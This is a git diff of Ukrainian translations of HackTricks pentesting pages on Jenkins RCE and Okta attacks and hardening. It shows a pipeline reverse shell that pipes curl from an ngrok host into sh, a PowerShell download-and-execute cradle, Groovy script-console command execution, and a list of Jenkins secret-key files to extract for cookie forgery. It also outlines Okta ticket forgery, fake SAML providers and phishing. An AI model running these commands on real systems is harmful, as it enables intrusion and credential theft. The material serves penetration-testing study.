**Кількість виконавців** на вузлі визначає кількість **паралельних завдань**, які можуть бути виконані на цьому вузлі одночасно. Іншими словами, це визначає **кількість паралельних Pipeline `стадій`**, які можуть виконуватися на цьому вузлі одночасно. @@ -67,11 +67,11 @@ Jenkins можна налаштувати за допомогою плагіні ### Шифрування секретів і облікових даних -Визначення з [документації](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins використовує **AES для шифрування та захисту секретів**, облікових даних та їх відповідних ключів шифрування. Ці ключі шифрування зберігаються в `$JENKINS_HOME/secrets/` разом з майстер-ключем, що використовується для захисту зазначених ключів. Цю директорію слід налаштувати так, щоб лише користувач операційної системи, під яким працює контролер Jenkins, мав доступ на читання та запис до цієї директорії (тобто значення `chmod` повинно бути `0700` або використовувати відповідні атрибути файлів). **Майстер-ключ** (іноді називається "ключ шифрування" у криптографії) **зберігається \_незашифрованим\_** на файловій системі контролера Jenkins у **`$JENKINS_HOME/secrets/master.key`**, що не захищає від атакуючих з прямим доступом до цього файлу. Більшість користувачів і розробників використовуватимуть ці ключі шифрування непрямо через API [Secret](https://javadoc.jenkins.io/byShortName/Secret) для шифрування загальних секретних даних або через API облікових даних. Для криптоцікавих, Jenkins використовує AES в режимі шифрувального блоку з ланцюгуванням (CBC) з PKCS#5 заповненням і випадковими IV для шифрування екземплярів [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), які зберігаються в `$JENKINS_HOME/secrets/` з іменем файлу, що відповідає їх `CryptoConfidentialKey` id. Загальні ідентифікатори ключів включають: +Визначення з [документації](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins використовує **AES для шифрування та захисту секретів**, облікових даних та їх відповідних ключів шифрування. Ці ключі шифрування зберігаються в `$JENKINS_HOME/secrets/` разом з майстер-ключем, що використовується для захисту цих ключів. Цю директорію слід налаштувати так, щоб лише користувач операційної системи, під яким працює контролер Jenkins, мав доступ на читання та запис до цієї директорії (тобто значення `chmod` повинно бути `0700` або використовувати відповідні атрибути файлів). **Майстер-ключ** (іноді називається "ключ шифрування" у криптографії) **зберігається \_незашифрованим\_** на файловій системі контролера Jenkins у **`$JENKINS_HOME/secrets/master.key`**, що не захищає від атакуючих з прямим доступом до цього файлу. Більшість користувачів і розробників використовуватимуть ці ключі шифрування непрямо через API [Secret](https://javadoc.jenkins.io/byShortName/Secret) для шифрування загальних секретних даних або через API облікових даних. Для криптоцікавих, Jenkins використовує AES в режимі шифрувального блоку з ланцюгуванням (CBC) з PKCS#5 заповненням і випадковими IV для шифрування екземплярів [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), які зберігаються в `$JENKINS_HOME/secrets/` з ім'ям файлу, що відповідає їх `CryptoConfidentialKey` id. Загальні id ключів включають: - `hudson.util.Secret`: використовується для загальних секретів; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: використовується для деяких типів облікових даних; -- `jenkins.model.Jenkins.crumbSalt`: використовується механізмом [захисту від CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); та +- `jenkins.model.Jenkins.crumbSalt`: використовується механізмом [CSRF захисту](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); і ### Доступ до облікових даних diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index b29f0868c..dacf67d26 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion у Jenkins на RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion в Jenkins на RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки у мене є час створити підсумок самостійно: +Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки я не матиму часу створити підсумок самостійно: ### Attack Prerequisites @@ -26,7 +26,7 @@ **Secret Key Extraction** -- Витягти криптографічні ключі, що використовуються для підписання cookie: +- Витягти криптографічні ключі, що використовуються для підписування cookie: - **Secret Key:** `$JENKINS_HOME/secret.key` - **Master Key:** `$JENKINS_HOME/secrets/master.key` - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` @@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature - **Fetch CSRF and Session Tokens:** - Зробити запит до `/crumbIssuer/api/json`, щоб отримати `Jenkins-Crumb`. -- Захопити `JSESSIONID` з відповіді, який буде використано разом з cookie "remember-me". +- Захопити `JSESSIONID` з відповіді, який буде використовуватися разом з cookie "remember-me". **Command Execution Request** @@ -98,7 +98,7 @@ curl -X POST "$JENKINS_URL/scriptText" \ --data-urlencode "script=$SCRIPT" ``` -- Groovy скрипт може бути використаний для виконання команд на рівні системи або інших операцій у середовищі Jenkins. +- Groovy скрипт може бути використаний для виконання команд на системному рівні або інших операцій у середовищі Jenkins. Приклад команди curl демонструє, як зробити запит до Jenkins з необхідними заголовками та cookie для безпечного виконання довільного коду. diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index c234da357..a80c45407 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,14 +1,14 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Створення/Модифікація Пайплайну {{#include ../../banners/hacktricks-training.md}} -## Створення нового Pipeline +## Створення нового Пайплайну -У "New Item" (доступно за адресою `/view/all/newJob`) виберіть **Pipeline:** +У "Новий елемент" (доступний за адресою `/view/all/newJob`) виберіть **Пайплайн:** ![](<../../images/image (235).png>) -У **Pipeline section** напишіть **reverse shell**: +У **розділі Пайплайн** напишіть **реверсну оболонку**: ![](<../../images/image (285).png>) ```groovy @@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -Нарешті натисніть **Save**, а потім **Build Now**, і конвеєр буде виконано: +Нарешті натисніть **Зберегти**, а потім **Запустити зараз**, і конвеєр буде виконано: ![](<../../images/image (228).png>) ## Модифікація конвеєра -Якщо ви можете отримати доступ до файлу конфігурації деякого налаштованого конвеєра, ви можете просто **модифікувати його, додавши ваш реверсний шелл**, а потім виконати його або дочекатися, поки його виконають. +Якщо ви можете отримати доступ до файлу конфігурації деякого налаштованого конвеєра, ви можете просто **модифікувати його, додавши ваш зворотний шелл**, а потім виконати його або дочекатися, поки він буде виконаний. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index e13d212ce..8242e3f9f 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,20 +1,20 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Створення/Модифікація Проекту {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Створення Проекту -Цей метод дуже шумний, оскільки вам потрібно створити абсолютно новий проект (очевидно, це спрацює лише в тому випадку, якщо ваш користувач має право створювати новий проект). +Цей метод дуже шумний, оскільки вам потрібно створити абсолютно новий проект (очевидно, це спрацює лише якщо ваш користувач має право створювати новий проект). 1. **Створіть новий проект** (Freestyle project), натиснувши "New Item" або в `/view/all/newJob` -2. У розділі **Build** встановіть **Execute shell** і вставте запускник powershell Empire або meterpreter powershell (можна отримати за допомогою _unicorn_). Запустіть payload з _PowerShell.exe_, а не з _powershell._ +2. У розділі **Build** встановіть **Execute shell** і вставте запускник powershell Empire або meterpreter powershell (можна отримати за допомогою _unicorn_). Запустіть payload з _PowerShell.exe_ замість _powershell._ 3. Натисніть **Build now** 1. Якщо кнопка **Build now** не з'являється, ви все ще можете перейти до **configure** --> **Build Triggers** --> `Build periodically` і встановити cron на `* * * * *` 2. Замість використання cron, ви можете використовувати конфігурацію "**Trigger builds remotely**", де вам просто потрібно встановити ім'я токена API для запуску роботи. Потім перейдіть до свого профілю користувача і **згенеруйте токен API** (назвіть цей токен API так, як ви назвали токен API для запуску роботи). Нарешті, запустіть роботу з: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Модифікація Проекту Перейдіть до проектів і перевірте **чи можете ви налаштувати будь-який** з них (шукайте кнопку "Configure"): @@ -24,13 +24,13 @@ Або **спробуйте отримати доступ до шляху** `/job//configure` або `/me/my-views/view/all/job//configure` \_\_ в кожному проекті (приклад: `/job/Project0/configure` або `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Виконання Якщо вам дозволено налаштувати проект, ви можете **зробити так, щоб він виконував команди, коли збірка успішна**: ![](<../../images/image (98).png>) Натисніть **Save** і **build** проект, і ваша **команда буде виконана**.\ -Якщо ви не виконуєте зворотний shell, а просто команду, ви можете **побачити вихід команди всередині виходу збірки**. +Якщо ви не виконуєте зворотний shell, а просто команду, ви можете **бачити вихід команди всередині виходу збірки**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 3d10ba569..e65e65938 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -1,10 +1,10 @@ -# Jenkins RCE with Groovy Script +# Jenkins RCE з Groovy Script {{#include ../../banners/hacktricks-training.md}} -## Jenkins RCE with Groovy Script +## Jenkins RCE з Groovy Script -Це менш шумно, ніж створення нового проекту в Jenkins +Це менш помітно, ніж створення нового проекту в Jenkins 1. Перейдіть до _path_jenkins/script_ 2. Введіть скрипт у текстове поле @@ -12,11 +12,11 @@ def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` -Ви можете виконати команду, використовуючи: `cmd.exe /c dir` +Ви можете виконати команду за допомогою: `cmd.exe /c dir` В **linux** ви можете зробити: **`"ls /".execute().text`** -Якщо вам потрібно використовувати _цитати_ та _одинарні цитати_ всередині тексту, ви можете використовувати _"""PAYLOAD"""_ (три подвійні лапки) для виконання корисного коду. +Якщо вам потрібно використовувати _лапки_ та _одинарні лапки_ всередині тексту. Ви можете використовувати _"""PAYLOAD"""_ (три подвійні лапки), щоб виконати корисне навантаження. **Ще один корисний groovy скрипт** це (замініть \[INSERT COMMAND]): ```python @@ -42,7 +42,7 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### Script +### Скрипт Ви можете автоматизувати цей процес за допомогою [**цього скрипта**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 7a233cf5f..542a439e7 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -[Okta, Inc.](https://www.okta.com/) визнана в секторі управління ідентичністю та доступом за свої рішення програмного забезпечення на основі хмари. Ці рішення призначені для спрощення та забезпечення аутентифікації користувачів у різних сучасних додатках. Вони орієнтовані не лише на компанії, які прагнуть захистити свої чутливі дані, але й на розробників, які зацікавлені в інтеграції контролю ідентичності в додатки, веб-сервіси та пристрої. +[Okta, Inc.](https://www.okta.com/) визнана в секторі управління ідентичністю та доступом за своїми хмарними програмними рішеннями. Ці рішення призначені для спрощення та забезпечення автентифікації користувачів у різних сучасних додатках. Вони орієнтовані не лише на компанії, які прагнуть захистити свої чутливі дані, але й на розробників, які зацікавлені в інтеграції контролю ідентичності в додатки, веб-сервіси та пристрої. -Флагманською пропозицією від Okta є **Okta Identity Cloud**. Ця платформа охоплює набір продуктів, включаючи, але не обмежуючись: +Флагманським продуктом Okta є **Okta Identity Cloud**. Ця платформа охоплює набір продуктів, включаючи, але не обмежуючись: - **Single Sign-On (SSO)**: Спрощує доступ користувачів, дозволяючи використовувати один набір облікових даних для кількох додатків. - **Multi-Factor Authentication (MFA)**: Підвищує безпеку, вимагаючи кілька форм перевірки. @@ -17,78 +17,78 @@ Ці послуги колективно спрямовані на зміцнення захисту даних та спрощення доступу користувачів, підвищуючи як безпеку, так і зручність. Універсальність рішень Okta робить їх популярним вибором у різних галузях, корисним для великих підприємств, малих компаній та окремих розробників. Станом на останнє оновлення у вересні 2021 року, Okta визнана видатною компанією в сфері управління ідентичністю та доступом (IAM). > [!CAUTION] -> Основна мета Okta - налаштувати доступ для різних користувачів та груп до зовнішніх додатків. Якщо вам вдасться **компрометувати привілеї адміністратора в середовищі Oktas**, ви, ймовірно, зможете **компрометувати всі інші платформи, які використовує компанія**. +> Основна мета Okta - налаштувати доступ до різних користувачів і груп до зовнішніх додатків. Якщо вам вдасться **компрометувати привілеї адміністратора в середовищі Oktas**, ви, ймовірно, зможете **компрометувати всі інші платформи, які використовує компанія**. > [!TIP] -> Для проведення перевірки безпеки середовища Okta вам слід запитати **доступ адміністратора лише для читання**. +> Для проведення перевірки безпеки середовища Okta вам слід запитати **доступ адміністратора тільки для читання**. -### Summary +### Резюме -Є **користувачі** (які можуть бути **збережені в Okta,** увійшли з налаштованих **постачальників ідентичності** або аутентифіковані через **Active Directory** або LDAP).\ +Є **користувачі** (які можуть бути **збережені в Okta,** увійшли з налаштованих **постачальників ідентичності** або автентифіковані через **Active Directory** або LDAP).\ Ці користувачі можуть бути в **групах**.\ -Є також **аутентифікатори**: різні варіанти аутентифікації, такі як пароль, та кілька 2FA, як WebAuthn, електронна пошта, телефон, okta verify (вони можуть бути увімкнені або вимкнені)... +Є також **автентифікатори**: різні варіанти автентифікації, такі як пароль, та кілька 2FA, таких як WebAuthn, електронна пошта, телефон, okta verify (вони можуть бути увімкнені або вимкнені)... -Потім є **додатки**, синхронізовані з Okta. Кожен додаток матиме певне **відображення з Okta** для обміну інформацією (такою як адреси електронної пошти, імена...). Більше того, кожен додаток повинен бути в **Політиці аутентифікації**, яка вказує на **необхідні аутентифікатори** для користувача, щоб **отримати доступ** до додатка. +Потім є **додатки**, синхронізовані з Okta. Кожен додаток матиме певне **відображення з Okta** для обміну інформацією (такою як адреси електронної пошти, імена...). Більше того, кожен додаток повинен бути в **Політиці автентифікації**, яка вказує на **необхідні автентифікатори** для користувача, щоб **отримати доступ** до додатка. > [!CAUTION] > Найбільш потужна роль - **Super Administrator**. > > Якщо зловмисник компрометує Okta з доступом адміністратора, всі **додатки, які довіряють Okta**, ймовірно, будуть **компрометовані**. -## Attacks +## Атаки -### Locating Okta Portal +### Локалізація порталу Okta -Зазвичай портал компанії буде розташований за адресою **companyname.okta.com**. Якщо ні, спробуйте прості **варіації** **companyname.** Якщо ви не можете його знайти, також можливо, що організація має запис **CNAME** на кшталт **`okta.companyname.com`**, що вказує на **Okta портал**. +Зазвичай портал компанії буде розташований за адресою **companyname.okta.com**. Якщо ні, спробуйте прості **варіації** **companyname.** Якщо ви не можете його знайти, також можливо, що організація має запис **CNAME** на кшталт **`okta.companyname.com`**, що вказує на **портал Okta**. -### Login in Okta via Kerberos +### Увійти в Okta через Kerberos -Якщо **`companyname.kerberos.okta.com`** активний, **Kerberos використовується для доступу до Okta**, зазвичай обходячи **MFA** для **Windows** користувачів. Щоб знайти користувачів Okta, аутентифікованих за допомогою Kerberos в AD, запустіть **`getST.py`** з **відповідними параметрами**. Отримавши **квиток користувача AD**, **впровадьте** його в контрольований хост, використовуючи такі інструменти, як Rubeus або Mimikatz, переконавшись, що **`clientname.kerberos.okta.com` знаходиться в зоні "Інтранет" в параметрах Інтернету**. Доступ до конкретного URL повинен повернути JSON-відповідь "OK", що вказує на прийняття квитка Kerberos і надання доступу до панелі управління Okta. +Якщо **`companyname.kerberos.okta.com`** активний, **Kerberos використовується для доступу до Okta**, зазвичай обходячи **MFA** для **Windows** користувачів. Щоб знайти користувачів Okta, автентифікованих через Kerberos в AD, запустіть **`getST.py`** з **відповідними параметрами**. Отримавши **квиток користувача AD**, **впровадьте** його в контрольований хост, використовуючи такі інструменти, як Rubeus або Mimikatz, переконавшись, що **`clientname.kerberos.okta.com` знаходиться в зоні "Інтранет" параметрів Інтернету**. Доступ до конкретного URL повинен повернути JSON-відповідь "OK", що вказує на прийняття квитка Kerberos і надає доступ до панелі управління Okta. -Компрометація **облікового запису служби Okta з делегованим SPN дозволяє провести атаку Silver Ticket.** Однак використання Okta **AES** для шифрування квитків вимагає наявності ключа AES або пароля у відкритому вигляді. Використовуйте **`ticketer.py`, щоб згенерувати квиток для жертви** та доставити його через браузер для аутентифікації з Okta. +Компрометація **облікового запису служби Okta з делегованим SPN дозволяє провести атаку Silver Ticket.** Однак використання Okta **AES** для шифрування квитків вимагає наявності ключа AES або пароля у відкритому вигляді. Використовуйте **`ticketer.py`, щоб згенерувати квиток для жертви** і доставити його через браузер для автентифікації в Okta. **Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking Okta AD Agent +### Викрадення агента AD Okta -Ця техніка передбачає **доступ до Okta AD Agent на сервері**, який **синхронізує користувачів і обробляє аутентифікацію**. Перевіряючи та розшифровуючи конфігурації в **`OktaAgentService.exe.config`**, зокрема AgentToken, використовуючи **DPAPI**, зловмисник може потенційно **перехоплювати та маніпулювати даними аутентифікації**. Це дозволяє не лише **моніторити** та **захоплювати облікові дані користувачів** у відкритому вигляді під час процесу аутентифікації Okta, але й **відповідати на спроби аутентифікації**, що дозволяє несанкціонований доступ або надає універсальну аутентифікацію через Okta (аналогічно "скелетному ключу"). +Ця техніка передбачає **доступ до агента AD Okta на сервері**, який **синхронізує користувачів і обробляє автентифікацію**. Вивчаючи та розшифровуючи конфігурації в **`OktaAgentService.exe.config`**, зокрема AgentToken, використовуючи **DPAPI**, зловмисник може потенційно **перехоплювати та маніпулювати даними автентифікації**. Це дозволяє не лише **моніторити** та **захоплювати облікові дані користувачів** у відкритому вигляді під час процесу автентифікації Okta, але й **відповідати на спроби автентифікації**, що дозволяє несанкціонований доступ або надає універсальну автентифікацію через Okta (подібно до "скелетного ключа"). **Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking AD As an Admin +### Викрадення AD як адміністратор -Ця техніка передбачає захоплення Okta AD Agent, спочатку отримавши OAuth Code, а потім запитуючи API токен. Токен пов'язаний з доменом AD, і **конектор називається для створення фальшивого AD агента**. Ініціалізація дозволяє агенту **обробляти спроби аутентифікації**, захоплюючи облікові дані через API Okta. Доступні автоматизаційні інструменти для спрощення цього процесу, пропонуючи безперешкодний метод перехоплення та обробки даних аутентифікації в середовищі Okta. +Ця техніка передбачає викрадення агента AD Okta, спочатку отримавши код OAuth, а потім запитуючи токен API. Токен пов'язаний з доменом AD, і **конектор називається для створення фальшивого агента AD**. Ініціалізація дозволяє агенту **обробляти спроби автентифікації**, захоплюючи облікові дані через API Okta. Доступні автоматизаційні інструменти для спрощення цього процесу, пропонуючи безперешкодний метод перехоплення та обробки даних автентифікації в середовищі Okta. **Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Okta Fake SAML Provider +### Фальшивий постачальник SAML Okta **Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -Техніка передбачає **впровадження фальшивого SAML постачальника**. Інтегруючи зовнішнього постачальника ідентичності (IdP) в рамках Okta за допомогою привілейованого облікового запису, зловмисники можуть **контролювати IdP, схвалюючи будь-який запит на аутентифікацію на свій розсуд**. Процес передбачає налаштування SAML 2.0 IdP в Okta, маніпулювання URL для одноразового входу IdP для перенаправлення через локальний файл hosts, генерацію самопідписаного сертифіката та налаштування параметрів Okta для відповідності імені користувача або електронній пошті. Успішне виконання цих кроків дозволяє аутентифікуватися як будь-який користувач Okta, обходячи необхідність унікальних облікових даних користувача, значно підвищуючи контроль доступу в потенційно непомітний спосіб. +Техніка передбачає **розгортання фальшивого постачальника SAML**. Інтегруючи зовнішнього постачальника ідентичності (IdP) в рамках Okta за допомогою привілейованого облікового запису, зловмисники можуть **контролювати IdP, схвалюючи будь-який запит на автентифікацію на свій розсуд**. Процес передбачає налаштування SAML 2.0 IdP в Okta, маніпулювання URL для одноразового входу IdP для перенаправлення через локальний файл hosts, генерацію самопідписаного сертифіката та налаштування параметрів Okta для відповідності імені користувача або електронній пошті. Успішне виконання цих кроків дозволяє автентифікуватися як будь-який користувач Okta, обходячи необхідність унікальних облікових даних користувача, значно підвищуючи контроль доступу в потенційно непомітний спосіб. -### Phishing Okta Portal with Evilgnix +### Фішинг порталу Okta з Evilgnix -У [**цьому блозі**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) пояснюється, як підготувати фішинг-кампанію проти порталу Okta. +У [**цьому блозі**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) пояснюється, як підготувати кампанію фішингу проти порталу Okta. -### Colleague Impersonation Attack +### Атака на підроблення колеги -**Атрибути, які може мати та змінювати кожен користувач** (як електронна пошта або ім'я) можуть бути налаштовані в Okta. Якщо **додаток** **довіряє** як ID **атрибуту**, який користувач може **змінити**, він зможе **вдаватись в інших користувачів на цій платформі**. +**Атрибути, які може мати та змінювати кожен користувач** (такі як електронна пошта або ім'я) можуть бути налаштовані в Okta. Якщо **додаток** довіряє як ID **атрибуту**, який користувач може **змінити**, він зможе **видавати себе за інших користувачів на цій платформі**. -Отже, якщо додаток довіряє полю **`userName`**, ви, ймовірно, не зможете його змінити (оскільки зазвичай не можна змінити це поле), але якщо він довіряє, наприклад, **`primaryEmail`**, ви можете змінити його на **електронну адресу колеги** та вдаватися в нього (вам потрібно буде мати доступ до електронної пошти та прийняти зміну). +Отже, якщо додаток довіряє полю **`userName`**, ви, ймовірно, не зможете його змінити (оскільки зазвичай не можна змінити це поле), але якщо він довіряє, наприклад, **`primaryEmail`**, ви можете змінити його на електронну адресу колеги та видати себе за нього (вам потрібно буде мати доступ до електронної пошти та прийняти зміну). -Зверніть увагу, що це вдавання залежить від того, як був налаштований кожен додаток. Лише ті, що довіряють полю, яке ви змінили, і приймають оновлення, будуть скомпрометовані.\ +Зверніть увагу, що це підроблення залежить від того, як був налаштований кожен додаток. Лише ті, що довіряють полю, яке ви змінили, і приймають оновлення, будуть скомпрометовані.\ Отже, додаток повинен мати це поле увімкненим, якщо воно існує:
-Я також бачив інші додатки, які були вразливими, але не мали цього поля в налаштуваннях Okta (в кінці кінців різні додатки налаштовуються по-різному). +Я також бачив інші додатки, які були вразливими, але не мали цього поля в налаштуваннях Okta (в кінці кінців, різні додатки налаштовуються по-різному). -Найкращий спосіб дізнатися, чи можете ви вдаватися в когось у кожному додатку, - це спробувати це! +Найкращий спосіб дізнатися, чи можете ви видати себе за когось у кожному додатку, - це спробувати це! -## Evading behavioural detection policies +## Уникнення політик виявлення поведінки -Політики виявлення поведінки в Okta можуть бути невідомими до їх зустрічі, але **обхід** їх можна досягти, **націлюючись безпосередньо на додатки Okta**, уникаючи основної панелі управління Okta. З **токеном доступу Okta** повторіть токен на **URL конкретного додатка Okta** замість основної сторінки входу. +Політики виявлення поведінки в Okta можуть бути невідомими до їх зустрічі, але **обхід** їх можна досягти, **націлюючись безпосередньо на додатки Okta**, уникаючи основної панелі управління Okta. З **токеном доступу Okta** повторно використовуйте токен на **URL конкретного додатка Okta** замість основної сторінки входу. Ключові рекомендації включають: @@ -96,9 +96,9 @@ - Переконайтеся, що **рядки user-agent** між клієнтом і повторно використаними токенами доступу є послідовними. - **Уникайте повторного використання** токенів від різних користувачів з однієї IP-адреси. - Будьте обережні при повторному використанні токенів проти панелі управління Okta. -- Якщо ви знаєте IP-адреси компанії жертви, **обмежте трафік** до цих IP або їх діапазону, блокуючи весь інший трафік. +- Якщо ви знаєте IP-адреси компанії жертви, **обмежте трафік** до цих IP-адрес або їх діапазону, блокуючи весь інший трафік. -## Okta Hardening +## Укріплення Okta Okta має багато можливих конфігурацій, на цій сторінці ви знайдете, як їх перевірити, щоб вони були максимально безпечними: @@ -106,7 +106,7 @@ Okta має багато можливих конфігурацій, на цій okta-hardening.md {{#endref}} -## References +## Посилання - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 871112076..8886b823f 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -8,16 +8,16 @@ З точки зору атакуючого це дуже цікаво, оскільки ви зможете побачити **всіх зареєстрованих користувачів**, їх **електронні** адреси, **групи**, до яких вони належать, **профілі** та навіть **пристрої** (мобільні разом з їх ОС). -Для перевірки whitebox переконайтеся, що немає кількох "**Очікує дії користувача**" та "**Скидання пароля**". +Для огляду whitebox перевірте, щоб не було кількох "**Очікує дії користувача**" та "**Скидання пароля**". ### Groups -Тут ви знайдете всі створені групи в Okta. Цікаво зрозуміти різні групи (набір **дозволів**), які можуть бути надані **користувачам**.\ +Тут ви знайдете всі створені групи в Okta. Цікаво зрозуміти різні групи (набори **дозволів**), які можуть бути надані **користувачам**.\ Можна побачити **людей, включених до груп** та **додатки, призначені** кожній групі. -Звичайно, будь-яка група з назвою **admin** є цікавою, особливо група **Global Administrators**, перевірте учасників, щоб дізнатися, хто є найбільш привілейованими членами. +Звичайно, будь-яка група з назвою **admin** є цікавою, особливо група **Глобальні адміністратори**, перевірте учасників, щоб дізнатися, хто є найбільш привілейованими членами. -З точки зору whitebox, **не повинно бути більше 5 глобальних адміністраторів** (краще, якщо їх буде лише 2 або 3). +З точки зору огляду whitebox, **не повинно бути більше 5 глобальних адміністраторів** (краще, якщо їх буде лише 2 або 3). ### Devices @@ -25,13 +25,13 @@ ### Profile Editor -Тут можна спостерігати, як ключова інформація, така як імена, прізвища, електронні адреси, імена користувачів... обмінюється між Okta та іншими додатками. Це цікаво, оскільки, якщо користувач може **модифікувати в Okta поле** (таке як його ім'я або електронна адреса), яке потім використовується **зовнішнім додатком** для **ідентифікації** користувача, внутрішній зловмисник може спробувати **взяти під контроль інші облікові записи**. +Тут можна спостерігати, як ключова інформація, така як імена, прізвища, електронні адреси, імена користувачів... обмінюється між Okta та іншими додатками. Це цікаво, оскільки, якщо користувач може **модифікувати в Okta поле** (таке як його ім'я або електронна адреса), яке потім використовується **зовнішнім додатком** для **ідентифікації** користувача, зловмисник може спробувати **взяти під контроль інші облікові записи**. Більше того, у профілі **`User (default)`** з Okta ви можете побачити **які поля** має кожен **користувач** і які з них є **доступними для запису** користувачами. Якщо ви не можете побачити панель адміністратора, просто перейдіть до **оновлення інформації про свій профіль** і ви побачите, які поля ви можете оновити (зверніть увагу, що для оновлення електронної адреси вам потрібно буде її підтвердити). ### Directory Integrations -Довідники дозволяють імпортувати людей з існуючих джерел. Я гадаю, тут ви побачите користувачів, імпортованих з інших довідників. +Довідники дозволяють імпортувати людей з існуючих джерел. Я думаю, тут ви побачите користувачів, імпортованих з інших довідників. Я цього не бачив, але вважаю, що це цікаво дізнатися **інші довідники, які Okta використовує для імпорту користувачів**, тому якщо ви **компрометуєте цей довідник**, ви могли б встановити деякі значення атрибутів у користувачів, створених в Okta, і **можливо, скомпрометувати середовище Okta**. @@ -39,7 +39,7 @@ Джерело профілю - це **додаток, який діє як джерело правди** для атрибутів профілю користувача. Користувач може бути джерелом лише з одного додатка або довідника одночасно. -Я цього не бачив, тому будь-яка інформація про безпеку та хакерство щодо цієї опції буде корисною. +Я цього не бачив, тому будь-яка інформація про безпеку та хакерство щодо цієї опції буде вдячно прийнята. ## Customizations @@ -55,7 +55,7 @@ ### End-User Dashboard -Тут ви можете знайти налаштовані додатки, але ми побачимо деталі цих пізніше в іншому розділі. +Тут ви можете знайти налаштовані додатки, але ми розглянемо деталі цих пізніше в іншому розділі. ### Other @@ -71,7 +71,7 @@
-І ви зможете побачити ще кілька деталей про додаток (наприклад, функцію показу пароля, якщо вона увімкнена): +І ви зможете побачити деякі деталі про додаток (наприклад, функцію показу пароля, якщо вона увімкнена):
